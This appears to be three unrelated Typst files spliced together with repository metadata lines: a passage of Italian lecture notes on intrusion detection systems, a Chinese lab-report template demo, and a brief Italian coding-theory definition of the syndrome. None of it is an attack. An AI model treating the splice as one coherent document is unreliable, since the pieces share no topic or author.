- riconoscedere dei #strong[pattern d'attacco noti] all'interno del
traffico di rete;
- #strong[identificare] attività anormali del sistema analizzando il
traffico di rete;
- #strong[attività attive]: correggere la configurazione del sistema,
modificare i diritti d'accesso, ecc.
Nessun singolo IDS esegue tutte queste funzioni.
L'intrusion detection è fondamentale, perché:
+ permette di implementare una #strong[difesa multilivello]
(#strong[defence in depth]);
+ permette di rilevare attacchi anche provenienti #strong[dall'interno]
della rete;
+ registrare attacchi (e tentativi d'attacco) è utile sia per motivi
legali, sia per giustificare il budget speso per la sicurezza
Gli intrusion detectors partono da queste assunzioni:
- le attività del sistema sono #strong[osservabili];
- è possibile distinguere #strong[attività normli] e #strong[attività
anormali]
#image("assets/b4e1d57d2a9e088dfb1e404a4bcc612b.png")
Definizione: #strong[intrusion detection system] (IDS). Sistema di
#strong[rilevazione], #strong[segnalazione] e #strong[logging] delle
#strong[attività di intrusione] o di #strong[utilizzo illecito] di
dispositivi/applicazioni di rete.
Funzionalità base di un IDS:
- #strong[analisi]: sia riferita al traffico di rete, sia riferita ai
#strong[log] stessi che raccoglie l'IDS;
- #strong[rilevamento] delle attività sospette;
- #strong[allerta] dei responsabili della sicurezza;
- #strong[logging] dettagliato delle attività rilevate
Altre funzionalità:
- diverse modalità di allerta (es. SMS, pop-up, ecc.);
- diversi tipi di interfaccia;
- #strong[filtraggio] dei contenuti loggati;
- capacità di collaborare con altri sistemi più o meno eterogenei
Esistono poi anche delle #strong[funzionalità attive] che fanno tendere
gli IDS a dei sistemi IPS (Intrusion #strong[Prevention] System).
Gli IDS si basano su dei #strong[modelli]. Gli IDS usano i modelli per
raccogliere le #strong[evidenze] dai dati raccolti e per
#strong[collegare tra loro] queste evidenze, in modo da identificare
possibili attività illecite.
I modelli possono essere forniti a mano all'IDS oppure può avere
funzionalità di #strong[auto-apprendimento] basato sui dati raccolti.
== Prestazioni di un IDS
Problemi principali di un IDS:
- #strong[falsi positivi]: attività lecite ma rilevate come illecite;
- #strong[falsi negativi]: attività illecite ma rilevate come lecite
(es. attacchi 0-day)
Un IDS perde #strong[accuratezza] quando tende a segnalare erroneamente
un'intrusione (e.g.~falsi positivi).
Un IDS perde #strong[completezza] quando tende a non segnalare
un'intrusione (e.g.~falsi negativi).
Definiti gli eventi $A$ (allarme) ed $I$ (intrusione), è possibile fare
una valutazione algoritmica degli IDS: - probabilità di
#strong[detection]: $bb(P) lr((A bar.v I))$; - probabilità di
#strong[non detection]: $bb(P) lr((not A bar.v I))$; - probabilità di
#strong[falsi allarmi]: $bb(P) lr((A bar.v not I))$; - probabilità di
#strong[mancati allarmi]: $bb(P) lr((not A bar.v not I))$;
Quella che a noi interessa è la #strong[probabilità di detection
Bayesiana]:
$ bb(P) lr((I bar.v A)) eq frac(bb(P) lr((A sect I)), bb(P) lr((A))) eq frac(bb(P) lr((I)) bb(P) lr((A bar.v I)), bb(P) lr((I)) bb(P) lr((A bar.v I)) plus bb(P) lr((not I)) bb(P) lr((A bar.v not I))) $
Problema del tasso base: anche se l'IDS individua tutti i tentativi di
intrusione (ovvero $bb(P) lr((A bar.v I)) eq 1$) e il tasso di falsi
positivi è molto basso (es.
$bb(P) lr((A bar.v not I)) eq 10^(minus 5)$), se il tasso di intrusione
è basso (es. $bb(P) lr((I)) eq 2 times 10^(minus 5)$), allora anche la
probabilità di detection Bayesiana $bb(P) lr((I bar.v A))$ è bassa.
Conclusioni:
- necessità di progettare algoritmi per ridurre il tasso di falsi
positivi;
- realizzare IDS con un tasso base sufficientemente elevato
La valutazione #strong[sistemistica] degli IDS si basa su altri
parametri, quali:
- prestazioni;
- scalabilità;
- resistenza agli attacchi diretti all'IDS stesso
== Tipologie di IDS
Gli IDS si differenziano in base a diversi parametri:
- metodi di rilevamento delle intrusioni
- signature-based;
- anomaly detection;
- obiettivo dell'analisi
- attività di sistema (Host Intrusion Detection System - HIDS);
- attività di rete (Network Intrusion Detection System - NIDS);
- tempo di rilevamento
- offline (#strong[a posteriori]): registrazione dei log e successiva
analisi;
- online: osservazione ed analisi delle attività (e successivi
allarmi) #strong[in tempo reale];
- tipo di reazione
- passiva (viene lanciato solo l'allarme);
- attiva (l'IDS cerca attivamente di risolvere il problema);
- localizzazione (dove si trova l'IDS)
- su un host
- sull'intera rete
- modalità di analisi
- stateless
- stateful
#image("assets/e7edacff40e81161ee198ac3b4be3d85.png")
=== Modelli di analisi
- #strong[signature analysis]: comportamento basato sull'assunto che gli
attacchi possono essere individuati ricercando #strong[pattern
specifici];
- #strong[statistical analysis] (o #strong[anomaly detection]): operano
definendo il normale comportamento del sistema e cercando deviazioni
sostanziali da esso. Si basano sull'assunto che gli attacchi sono solo
un sottoinsieme delle anomalie (che infatti potrebbero essere dovute
anche ad altri problemi, es. di rete)
==== Signature analysis
Esempio: `if src_ip == dst_ip then land_attack = 1`.
Simili ai sistemi di allerta degli antivirus.
Vantaggi:
- sono molto accurati;
- se i pattern sono ben progettati, la probabilità di falsi positivi è
molto bassa (soprattutto se confrontata col meccanismo di anomaly
detection);
- sono veloci (devono soltanto effettuare operazioni di #strong[pattern
matching]);
- sono semplici da implementare;
- applicabile a tutti i protocolli
Svantaggi:
- se il pattern non esiste (es. attacchi 0-day), non è possibile
rilevare l'attacco;
- una piccola modifica al pattern d'attacco classico causa dei falsi
negativi;
- necessità di aggiornare continuamente il database dei pattern
d'attacco;
- tecnica #strong[orientata ai pacchetti], dunque facilmente eludibile
tramite frammentazione e segmentazione (contromisura: #strong[stateful
pattern matching], più complesso da evadere ma richiede anche più
carico sul processore)
==== Anomaly detection
#image("assets/9ea988a5f660071365e5796958aa5f2c.png")
Si basano sull'assunto che sia possibile definire il comportamento
"normale" di un sistema. Qualunque deviazione da questo comportamento è
una possibile intrusione.
Hanno un tasso di falsi positivi molto alto, perché non tutte le
anomalie sono delle intrusioni.
Vantaggi:
- possibilità di individuare anche #strong[attacchi sconosciuti] tramite
meccanismi di #strong[self-learning];
- scarso overhead sul sistema (la maggior parte delle analisi è offline)
Svantaggi:
- scarsa accuratezza;
- prestazioni fortemente dipendenti dal modello scelto;
- difficoltà nella modellazione di sistemi complessi e molto eterogenei
===== Protocol anomaly detection
Specializzazione degli anomaly detection basata sui modelli dei
protocolli dello stack TCP/IP ottenuti partendo dalle specifiche (RFC)
che li definiscono.
Vantaggi:
- facilmente implementabile, almeno per i protocolli standard;
- minimizzazione dei falsi positivi rispetto ad un'analisi
generalizzata;
- necessitano meno aggiornamenti (i protocolli si evolvono molto più
lentamente rispetto alle applicazioni che li usano);
- possibilità di rilevare facilmente variazioni di attacchi standard
senza dover modificare dei pattern
Svantaggi:
- ambiguità negli RFC generano dei falsi positivi;
- alcune applicazioni non rispettano completamente le specifiche degli
RFC;
- implementazione non immediata per protocolli complessi
=== Stateful e stateless
Analogo dei firewall:
- stateless: analizzano #strong[singoli pacchetti] ma non riescono a
rilevare delle connessioni complete;
- stateful: analizzano delle connessioni nel loro insieme
=== Reattività degli IDS
L'analisi #strong[passiva] prevede la cattura di una copia di tutti i
pacchetti circolanti per la rilevazione di eventuali attacchi.
L'analisi passiva non è invadente per il normale funzionamento del
sistema e non ne peggiora le prestazioni (tipicamente viene fatta
offline).
L'analisi #strong[attiva], oltre al logging, prevede la possibilità di
eseguire delle #strong[azioni] quando viene rilevato un attacco, al fine
di rendere inoffensive le intrusioni il prima possibile.
Gli IDS con analisi attiva tendono agli #strong[IPS] (Intrusion
#strong[Prevention] System).
Esempi di azioni attive:
- terminazione delle applicazioni malevole (`kill`);
- modifiche alle regole di routing/firewall;
- ridirezionare l'attaccate ad una #strong[honeypot];
- aumento del livello di log
=== Localizzazione degli IDS
- host level: funzione di IDS localizzata su un #strong[singolo host] (o
su un segmento di rete piccolo);
- network level: funzione di IDS #strong[distribuita su tutta la rete]
Nota: la localizzazione indica solo #strong[dove sta] un IDS. Non è da
confondere con l'#strong[obiettivo] dell'IDS (HIDS o NIDS) che indica
quali tipi di intrusione cerca di prevenire.
=== Modalità di intervento
- offline: analisi #strong[a posteriori] dei log;
- online: analisi #strong[real-time] del traffico
=== Obiettivi di un IDS
==== Network Intrusion Detection System (NIDS)
Catturano il traffico di rete sfruttando interfacce in #strong[modalità
promiscua] e cercano di individuare attacchi nel traffico intercettato.
Sono #strong[distribuiti su tutta la rete] e analizzano tutto il
traffico che vedono.
Svantaggi principali:
- non sono in grado di analizzare #strong[traffico cifrato];
- non sempre ciò che vedono è quello che verrà realmente ricevuto
dall'host finale (insertion attack ed evasion attack)
Sotto alcuni aspetti, i NIDS sono simili ai firewall:
- i NIDS adottano una strategia di #strong[filtering passivo] (ciò che
non è un attacco viene ignorato), mentre i firewall applicano
#strong[filtraggio attivo] (scartano i pacchetti indesiderati);
- i NIDS sono sistemi #strong[fail-open] (se smettono di funzionare, il
traffico continua a circolare), mentre i firewall sono
#strong[fail-close] (se smettono di funzionare, la rete rimane
isolata)
Un NIDS può essere configurato in #strong[modalità stealth] utilizzando
2 interfacce:
- una per l'analisi del traffico, configurata senza nessun indirizzo IP
(che abilita la modalità promiscua);
- una dedicata all'invio degli allarmi
I NIDS possono essere evasi sfruttando ambiguità e differenze
nell'implementazione dei protocolli (es. dovute ai vari sistemi
operativi).
I NIDS, come un qualunque altro dispositivo di rete, possono essere
soggetti ad attacchi DoS.
Se il NIDS è troppo reattivo, un attaccante può sfruttarlo per causare
malfunzionamenti nella rete introducendo dei falsi positivi.
Vantaggi:
- rilevano attacchi che richiedono la manipolazione a basso livello dei
pacchetti in rete;
- riescono a rilevare attacchi che coinvolgono più macchine;
- non appesantiscono il funzionamento di un singolo host (il NIDS è in
una macchina dedicata);
- pssono rilevare worms che si propagano in rete
Svantaggi:
- non rilevano attacchi locali (es. privilege escalation, ecc.);
- non riescono a rilevare il #strong[reale] impatto di un pacchetto
sull'host finale (il pacchetto potrebbe non arrivare, potrebbe essere
interpretato in altro modo, ecc.);
- incapacità di analizzare pacchetti cifrati
==== Host Intrusion Detection System (HIDS)
Rilevano le intrusioni analizzando gli eventi che avvengono all'interno
dell'host.
Possono sfruttare dei #strong[meccanismi di auditing] messi a
disposizione dal sistema operativo.
Monitorano le attività degli utenti (es. i comandi eseguiti, system
call, ecc.).
Esempi di HIDS:
- Log File Monitor (LFS): analisi batch dei log;
- Intrusion Detection Agent (IDA): analisi real-time degli eventi;
- System Integrity Verifier (SIV): rilevano in real-time modifiche allo
stato di un sistema, utilizzando spesso delle funzioni hash applicate
su un singolo file (simile agli antivirus)
Il #strong[target-based IDS] è una variante del modello HIDS in cui
l'analisi è riferita solo a determinate risorse presenti nell'host.
Avere un host come obiettivo è sia un vantaggio che uno svantaggio:
- è un vantaggio perché vedono tutto (e solo) il traffico che arriva
alle applicazioni (incluso quello cifrato);
- è uno svantaggio perché non è possibile rilevare attacchi che hanno
come obiettivo più macchine
Gli HIDS sono fortemente dipendenti dalla piattaforma su cui risiedono,
vulnerabilità comprese.
==== Operational IDS
Effettuano l'analisi in funzione dei comportamenti anormali.
Rientrano in questa categoria gli #strong[honeypot]. Si tratta di
sistemi intenzionalmente poco protetti, ma molto controllati.
Ogni collegamento all'honeypot è considerato un tentativo di intrusione,
perché si tratta di sistemi non attivi.
Sono delle #strong[trappole per attaccanti] perché espongono servizi
apparentemente interessanti. Permettono di studiare il comportamento
dell'attaccante, facendogli perdere tempo prezioso.
Vantaggi:
- individuazione di connessioni ostili (es. honeypot);
- tracciabilità delle attività degli attaccanti
Svantaggi:
- sono costosi (bisogna esporre dei servizi interessanti per
l'attaccante ma che concretamente non fanno niente);
- possono essere compromessi a loro volta
== Conclusioni
Gli IDS sono utili per sapere #strong[chi] ha fatto #strong[cosa],
#strong[quando] e con #strong[quali risultati].
Problematiche principali degli IDS:
- non esiste un singolo IDS che fa tutto e tool differenti possono non
essere in grado di interagire tra loro per diminuire l'incertezza
nelle rilevazioni
- ogni IDS ha il suo formato di output
Attività importanti da rilevare:
- checksum errati nei file di sistema;
- codice maligno inserito in richieste HTTP;
- traffico di rete dovuto a worm, virus, attacchi DoS, ecc.;
- violazione delle policy di sicurezza
Non esiste un singolo IDS che riesca a rilevare tutte queste minacce con
precisione assoluta.
Possibili soluzioni:
- si installa almeno un IDS per ogni tipo, complicando notevolmente la
gestione;
- utilizzare un IDS che riunisca i vantaggi delle diverse tipologie
oppure più di un IDS ma che siano in grado di #strong[interagire tra
loro]
Come per i firewall, gli IDS non aumentano la sicurezza in automatico.
|
|
https://github.com/Starlight0798/typst-nku-lab-template | https://raw.githubusercontent.com/Starlight0798/typst-nku-lab-template/main/demo.typ | typst | MIT License | #import "template.typ": *
#import "@preview/treet:0.1.1": *
#import "@preview/iconic-salmon-fa:1.0.0": *
#import "@preview/tablex:0.0.8": tablex, rowspanx, colspanx
#import "@preview/pinit:0.1.4": *
#import "@preview/colorful-boxes:1.3.1": *
#import "@preview/showybox:2.0.1": *
#import "@preview/conchord:0.2.0": *
#import "@preview/badgery:0.1.1": *
#import "@preview/riesketcher:0.2.0": riesketcher
#import "@preview/syntree:0.2.0": syntree
#import "@preview/physica:0.9.3": *
#import "@preview/mitex:0.2.4": *
#import "@preview/easytable:0.1.0": easytable, elem
#import elem: *
#import "@preview/algo:0.3.3": algo, i, d, comment, code
#import "@preview/diagraph:0.2.1": *
#import "@preview/xarrow:0.3.0": xarrow, xarrowSquiggly, xarrowTwoHead
#import "@preview/neoplot:0.0.1" as gp
#import "@preview/pyrunner:0.1.0" as py
#import "@preview/note-me:0.2.1" as nt
#show: project.with(
course: "计算机网络",
lab_name: "TCP/IP实验",
stu_name: "丁真",
stu_num: "114514",
major: "土木工程",
department: "火星土木学院",
date: (2077, 1, 1),
show_content_figure: true,
watermark: "NKU",
)
#let mytest = [通过这次实验,我深刻体会到了同态加密技术的强大和实用性,特别是在保护数据隐私的同时执行复杂计算的能力。使用Microsoft SEAL库进行加密计算不仅加深了我对同态加密原理的理解,也提升了我的编程技能和解决实际问题的能力。]
#let mycode = ```cpp
void MergeSort(int arr[], int left, int right) {
if(left >= right) return;
int mid = (left + right) >> 1;
MergeSort(arr, left, mid);
MergeSort(arr, mid + 1, right);
int i = left, j = mid + 1, k = 0, temp[right - left + 1];
while(i <= mid && j <= right) {
if(arr[i] <= arr[j]) temp[k++] = arr[i++];
else temp[k++] = arr[j++];
}
while(i <= mid) temp[k++] = arr[i++];
while(j <= right) temp[k++] = arr[j++];
for(int i = 0; i < k; i++) arr[left + i] = temp[i];
}
```
= 一级标题
#text(size: 15pt)[
整理了在实验报告可能用到的任何元素,*包括图表(及其编号),树状图,代码块,数学公式,高亮,样式内容块*等。
]\
#lorem(20) \
测试中文:\
#indent() _#mytest _
分点:
+ _#lorem(10) _
+ _#lorem(10) _
- _#lorem(10) _
- _#lorem(10) _
- test#footnote[测试脚注]
terms:
/ Fact: If a term list has a lot
of text, and maybe other inline
content.
/ Tip: To make it wide, simply
insert a blank line between the
items.
#box(stroke: 3pt + gradient.conic(..color.map.magma), outset: 5pt)[测试文本] #h(2em)
#box(stroke: 3pt + gradient.linear(..color.map.magma), outset: 5pt)[测试文本] #h(2em)
#box(stroke: 3pt + gradient.radial(..color.map.crest), outset: 5pt)[测试文本] #h(2em)
#box(stroke: 3pt + gradient.linear(..color.map.rainbow).sharp(8, smoothness: 20%), outset: 5pt)[测试文本] #h(2em) \
#v(1em)
#box(fill: blue.lighten(50%), radius: 10pt, outset: 5pt)[测试文本] #h(2em)
#box(fill: red.lighten(50%), radius: 10pt, outset: 5pt)[测试文本] #h(2em)
#box(fill: yellow.lighten(50%), radius: 10pt, outset: 5pt)[测试文本] #h(2em)
#rect(fill: blue.lighten(50%), radius: 10pt)[测试文本]
#rect(fill: red.lighten(50%), radius: 10pt)[测试文本]
#link(<mylink>)[点击跳转链接] \
_这是一个被强调的内容_ \
== 二级标题
#lorem(20)
#figure(image("./img/NKU-logo.png", width: 10%), caption: "南开大学校徽")
== 测试treet
树状图:\
#tree-list[
- 1
- 1.1
- 1.1.1
- 1.2
- 1.2.1
- 1.2.2.1
- 2
- 3
- 3.1
- 3.1.1
] <mylink>
#text(
red,
tree-list(
marker: text(blue)[├── ],
last-marker: text(aqua)[└── ],
indent: text(teal)[│#h(1.5em)],
empty-indent: h(2em),
)[
- 1
- 1.1
- 1.1.1
- 1.2
- 1.2.1
- 1.2.2.1
- 2
- 3
- 3.1
- 3.1.1
],
)
== 测试iconic-salmon-fa
#github-info("Bi0T1N", url: "https://www.xing.com/pages/claas")
#h(1cm)
#github-info("Bi0T1N", rgb("#ab572a"))
#h(1cm)
#github-info("Bi0T1N", green)
== 测试badgery
#badge-gray("Gray badge")
#badge-red("Red badge")
#badge-yellow("Yellow badge") \
#badge-green("Green badge")
#badge-blue("Blue badge")
#badge-purple("Purple badge")
#ui-action("Click me")
#menu("File", "New File...")
#menu("Menu", "Sub-menu", "Sub-sub menu", "Action")
== 测试gentle
// info clue
#info[ This is the info clue ... ]
// or a tip
#tip(title: "这是一个测试标题")[Check out this cool package]
#question[ This is the info clue ... ]
#quote[ This is the info clue ... ]
#example[ This is the info clue ... ]
#abstract[ This is the info clue ... ]
#task[ This is the info clue ... ]
#error[ This is the info clue ... ]
#warning[ This is the info clue ... ]
#success[ This is the info clue ... ]
#conclusion[ This is the info clue ... ]
#memo[ This is the info clue ... ]
#clue(title: none, icon: none, accent-color: orange)[We should run more tests!]
== 测试note-me
#nt.note[
Highlights information that users should take into account, even when skimming.
]
#nt.tip[
Optional information to help a user be more successful.
]
#nt.important[
Crucial information necessary for users to succeed.
]
#nt.warning[
Critical content demanding immediate user attention due to potential risks.
]
#nt.caution[
Negative potential consequences of an action.
]
#nt.todo[
Fix `note-me` package.
]
== 测试colorbox
#colorbox(title: lorem(5), color: "blue")[
#lorem(30)
]
#slanted-colorbox(title: lorem(5), color: "default")[
#lorem(30)
]
#outline-colorbox(title: lorem(5))[
#lorem(30)
]
#outline-colorbox(title: lorem(5), centering: true, color: "green")[
#lorem(50)
]
== 测试showybox
// First showybox
①
#showybox(
frame: (border-color: red.darken(50%), title-color: red.lighten(70%), body-color: red.lighten(90%)),
title-style: (color: black, weight: "regular", align: center),
shadow: (offset: 3pt),
title: "Red-ish showybox with separated sections!",
lorem(20),
lorem(12),
)
// Second showybox
②
#showybox(
title-style: (
boxed-style: (anchor: (x: center, y: horizon), radius: (top-left: 10pt, bottom-right: 10pt, rest: 0pt)),
),
frame: (
title-color: blue,
body-color: white,
footer-color: blue.lighten(80%),
border-color: blue.darken(60%),
radius: (top-left: 10pt, bottom-right: 10pt, rest: 0pt),
),
title: "Clairaut's theorem",
footer: text(
size: 10pt,
weight: 600,
emph("This will be useful every
time you want to interchange partial derivatives in the future."),
),
)[
Let $f: A arrow RR$ with $A subset RR^n$ an open set such that its cross derivatives of any order exist and are
continuous in $A$. Then for any point $(a_1, a_2, ..., a_n) in A$ it is true that
$
frac(diff^n f, diff x_i ... diff x_j)(a_1, a_2, ..., a_n) =
frac(diff^n f, diff x_j ... diff x_i)(a_1, a_2, ..., a_n)
$
]
③
#showybox(
frame: (border-color: blue.darken(50%), title-color: blue.lighten(80%), body-color: white),
title-style: (color: black, weight: "regular", align: center),
shadow: (offset: 5pt),
title: lorem(3),
lorem(10),
[#align(left)[
#grid(
columns: 2,
gutter: 5pt,
rows: auto,
lorem(30), lorem(30),
)
]
],
)
④
#showybox(
footer-style: (sep-thickness: 0pt, align: right, color: black),
title: "Divergence theorem",
footer: [
In the case of $n=3$, $V$ represents a volumne in three-dimensional space, and $diff V = S$ its surface
],
)[
Suppose $V$ is a subset of $RR^n$ which is compact and has a piecewise smooth boundary $S$ (also indicated with $diff V = S$).
If $bold(F)$ is a continuously differentiable vector field defined on a neighborhood of
$V$, then:
$
integral.triple_V (bold(nabla) dot bold(F)) dif V = integral.surf_S
(bold(F) dot bold(hat(n))) dif S
$
]
⑤
#showybox(
title: "Parent container",
lorem(10),
columns(2)[
#showybox(title-style: (boxed-style: (:)), title: "Child 1", lorem(10))
#colbreak()
#showybox(title-style: (boxed-style: (:)), title: "Child 2", lorem(10))
],
)
== 测试syntree
#figure(
caption: "Example of a syntax tree.",
syntree(
nonterminal: (fill: blue),
terminal: (style: "italic"),
"[S [NP [Det the] [Nom [Adj little] [N bear]]] [VP [VP [V saw] [NP [Det the] [Nom [Adj] [Adj] [N ]]]] [PP [P in] [^NP the brook]]]]",
),
)
== 测试easytable
#figure(
easytable({
let th = th.with(trans: emph)
let tr = tr.with(cell_style: (x: none, y: none) => (
fill: if calc.even(y) {
luma(95%)
} else {
none
},
))
cstyle(center, center, center)
th[Header 1][Header 2][Header 3]
tr[How][I][want]
tr[a][drink,][alcoholic]
tr[of][course,][after]
tr[the][heavy][lectures]
tr[involving][quantum][mechanics.]
}),
caption: [表格示例],
supplement: [表],
)
#easytable({
cwidth(100pt, 1fr, 20%)
cstyle(left, center, right)
th[Header 1 ][Header 2][Header 3 ]
tr[How ][I ][want ]
tr[a ][drink, ][alcoholic ]
tr[of ][course, ][after ]
tr[the ][heavy ][lectures ]
tr[involving][quantum ][mechanics.]
})
#figure(
caption: [表格示例],
easytable({
let tr = tr.with(trans: pad.with(x: 3pt))
th[Header 1][Header 2][Header 3]
tr[How][I][want]
tr[a][drink,][alcoholic]
tr[of][course,][after]
tr[the][heavy][lectures]
tr[involving][quantum][mechanics.]
}),
)
== 测试tablex
#figure(
supplement: [表],
caption: "一个表格",
tablex(
columns: 4,
align: center + horizon,
auto-vlines: false,
// indicate the first two rows are the header
// (in case we need to eventually
// enable repeating the header across pages)
header-rows: 2,
// color the last column's cells
// based on the written number
map-cells: cell => {
if cell.x == 3 and cell.y > 1 {
cell.content = {
let value = int(cell.content.text)
let text-color = if value < 10 {
red.lighten(30%)
} else if value < 15 {
yellow.darken(13%)
} else {
green
}
set text(text-color)
strong(cell.content)
}
}
cell
},
/* --- header --- */
rowspanx(2)[*Username*],
colspanx(2)[*Data*],
(),
rowspanx(2)[*Score*],
(),
[*Location*],
[*Height*],
(),
/* -------------- */
[John],
[Second St.],
[180 cm],
[5],
[Wally],
[Third Av.],
[160 cm],
[10],
[Jason],
[Some St.],
[150 cm],
[15],
[Robert],
[123 Av.],
[190 cm],
[20],
[Other],
[Unknown St.],
[170 cm],
[25],
),
)
== 测试codly
```rust
pub fn main() {
println!("Hello, world!");
}
```
#mycode
== 测试cheq
- [ ] Mercury
- [x] Mars
- [ ] Jupiter
- [x] Sun
== 测试pyrunner
#let compiled = py.compile(
```python
def find_emails(string):
import re
return re.findall(r"\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b", string)
def sum_all(*array):
return sum(array)
```)
#let txt = "My email address is <EMAIL> and my friend's email address is <EMAIL>."
#py.call(compiled, "find_emails", txt)
#py.call(compiled, "sum_all", 1, 2, 3)
== 测试pinit
#text(size: 16pt)[
A simple #pin(1)highlighted text#pin(2).
]
#pinit-highlight(1, 2)
#pinit-point-from(2)[It is simple.]
== 测试neoplot
#figure(caption: [测试图片],
image.decode(
gp.eval("
set samples 1000;
set xlabel 'x axis';
set ylabel 'y axis';
plot sin(x),
cos(x)
")
)
)
== 测试riesketcher
#canvas({
riesketcher(x => calc.pow(x, 3) + 4, method: "left", start: -3.1, end: 3.5, n: 10, plot-x-tick-step: 1)
})
== 测试physica
$
A^T, curl vb(E) = - pdv(vb(B), t),
quad
tensor(Lambda,+mu,-nu) = dmat(1,RR),
quad
f(x,y) dd(x,y),
quad
dd(vb(x),y,[3]),
quad
dd(x,y,2,d:Delta,p:and),
quad
dv(phi,t,d:upright(D)) = pdv(phi,t) + vb(u) grad phi \
H(f) = hmat(f;x,y;delim:"[",big:#true),
quad
vb(v^a) = sum_(i=1)^n alpha_i vu(u^i),
quad
Set((x, y), pdv(f,x,y,[2,1]) + pdv(f,x,y,[1,2]) < epsilon) \
-1 / c^2 pdv(,t,2)psi + laplacian psi = (m^2c^2) / hbar^2 psi,
quad
ket(n^((1))) = sum_(k in.not D) mel(k^((0)), V, n^((0))) / (E_n^((0)) - E_k^((0))) ket(k^((0))),
quad
integral_V dd(V) (pdv(cal(L), phi) - diff_mu (pdv(cal(L), (diff_mu phi)))) = 0 \
dd(s,2) = -(1-(2G M) / r) dd(t,2) + (1-(2G M) / r)^(-1) dd(r,2) + r^2 dd(Omega,2)
$
$
"clk:" & signals("|1....|0....|1....|0....|1....|0....|1....|0..", step: #0.5em) \
"bus:" & signals(" #.... X=... ..... ..... X=... ..... ..... X#.", step: #0.5em)
$
== 测试mitex
#mitex(`
\newcommand{\f}[2]{#1f(#2)}
\f\relax{x} = \int_{-\infty}^\infty
\f\hat\xi\,e^{2 π i ξ x}
\,d\xi
`)
== 测试pintora
```pintora
mindmap
@param layoutDirection TB
+ UML Diagrams
++ Behavior Diagrams
+++ Sequence Diagram
+++ State Diagram
+++ Activity Diagram
++ Structural Diagrams
+++ Class Diagram
+++ Component Diagram
```
== 测试unify
$ num("-1.32865+-0.50273e-6") $
$ qty("1.3+1.2-0.3e3", "erg/cm^2/s", space: "#h(2mm)") $
$ numrange("1,1238e-2", "3,0868e5", thousandsep: "'") $
$ qtyrange("1e3", "2e3", "meter per second squared", per: "/", delimiter: "\"to\"") $
== 测试algo
#algo(
title: [ // note that title and parameters
#set text(size: 15pt) // can be content
#emph(smallcaps("Fib"))
],
parameters: ([#math.italic("n")],),
comment-prefix: [#sym.triangle.stroked.r ],
comment-styles: (fill: rgb(100%, 0%, 0%)),
indent-size: 15pt,
indent-guides: 1pt + gray,
row-gutter: 5pt,
column-gutter: 5pt,
inset: 5pt,
stroke: 2pt + black,
fill: none,
)[
if $n < 0$:#i\
return null#d\
if $n = 0$ or $n = 1$:#i\
return $n$#d\
\
let $x <- 0$\
let $y <- 1$\
for $i <- 2$ to $n-1$:#i #comment[so dynamic!]\
let $z <- x+y$\
$x <- y$\
$y <- z$#d\
\
return $x+y$
]
#algo(title: "Floyd-Warshall", parameters: ("V", "E", "w"), indent-guides: 1pt + black, main-text-styles: (size: 15pt))[
Let $"dist"[u,v] <- infinity$ for $u,v$ in $V$\
For $(u,v)$ in $E$:#i\
$"dist"[u,v] <- w(u,v)$ #comment[edge weights] #d\
For $v$ in $V$:#i\
$"dist"[v,v] <- 0$ #comment[base case] #d\
\
For $k <- 1$ to $|V|$:#i\
For $i <- 1$ to $|V|$:#i\
For $j <- 1$ to $|V|$:#i\
#comment(inline: true)[if new path is shorter, reduce distance]\
If $"dist"[i,j] > "dist"[i,k] + "dist"[k,j]$:#i\
$"dist"[i,j] <- "dist"[i,k] + "dist"[k,j]$#d#d#d#d\
\
Return $"dist"$
]
== 测试diagraph
#raw-render(
```
digraph {
rankdir=LR
node[shape=circle]
Hmm -> a_0
Hmm -> big
a_0 -> "a'" -> big [style="dashed"]
big -> sum
}
```,
labels: (big: [_some_#text(2em)[ big ]*text*], sum: $ sum_(i=0)^n 1 / i $),
width: 100%,
)
== 测试xarrow
$
a xarrow(sym: <--, QQ\, 1 + 1^4) b \
c xarrowSquiggly("very long boi") d \
c / ( a xarrowTwoHead("NP" limits(sum)^*) b times 4)
$
测试参考文献:\
文献1的内容@impagliazzo2001problems \
文献2的内容@Burckhardt:2013
#bibliography("works.bib", title: [参考文献])
#hide()[
😀😃😄😁😆😅🤣😂🙂🙃😉😊😇🥰😍🤩😘😚😙😋😛😜🤪😝🤑🤗🤭🤫🤔🤐🤨😐😑😶😏😒🙄😬🤥😌😔😪🤤😴😷🤒🤕🤢🤮🤧🥵🥶🥴😵🤯🤠🥳😎🤓🧐😕😟🙁☹️😮😯😲😳🥺😦😧😨😰😥😢😭😱😖😣😞😓😩😫🥱😤😡😠🤬
👶🧒👦👧🧑👱👨🧔👨🦰👨🦱👨🦳👨🦲👩👩🦰🧑👩🦱🧑👩🦳🧑👩🦲🧑👱♀️👱♂️🧓👴👵🙍🙍♂️🙍♀️🙎🙎♂️🙎♀️🙅🙅♂️🙅♀️🙆🙆♂️🙆♀️💁💁♂️💁♀️🙋🙋♂️🙋♀️🧏🧏♂️🧏♀️🙇🙇♂️🙇♀️🤦♂️🤦♀️🤷♀️👨⚕️👩⚕️👨🎓👩🎓🧑🏫👋🤚🖐️✋🖖👌🤏✌️🤞🤟🤘🤙👈👉👆🖕👇☝️👍👎✊👊🤛🤜👏🙌👐🤲🤝🙏✍️💅🤳💪💌💎🔪💈🚪🚽🚿🛁⌛⏳⌚⏰🎈🎉🎊🎎🎏🎐🎀🎁📯📻📱📲☎📞📟📠🔋🔌💻💽💾💿📀🎥📺📷📹📼🔍🔎🔬🔭📡💡🔦🏮📔📕📖📗📘📙📚📓📃📜📄📰📑🔖💰💴💵💶💷💸💳✉📧📨📩📤📥📦📫📪📬📭📮📝📁📂📅📆📇📈📉📊📋📌📍📎📏📐✂🔒🔓🔏🔐🔑🔨🔫🔧🔩🔗💉💊🚬🔮🚩🎌💦💨🎟️🎫🎖️🏆🏅🥇🥈🥉⚽⚾🥎🏀🏐🏈🏉🎾🥏🎳🏏🏑🏒🥍🏓🏸🥊🥋🥅⛳⛸️🎣🎽🎿🛷🥌🎯🎱🎮🎰🎲🧩♟️🎭🎨🧵🧶🎼🎤🎧🎷🎸🎹🎺🎻🥁🎬🏹]
|
https://github.com/Skimmeroni/Appunti | https://raw.githubusercontent.com/Skimmeroni/Appunti/main/Metodi%20Algebrici/Codici/Sindrome.typ | typst | Creative Commons Zero v1.0 Universal | #import "../Metodi_defs.typ": *
Sia $C$ un codice lineare in $ZZ_(p)^(n)$ di dimensione $k$, e sia $H$
una matrice di controllo per $C$. Dato un vettore $x in ZZ_(p)^(n)$, il
vettore $s = x(H^(t)) in ZZ_(p)^(n − k)$ viene detta *sindrome* di $x$.
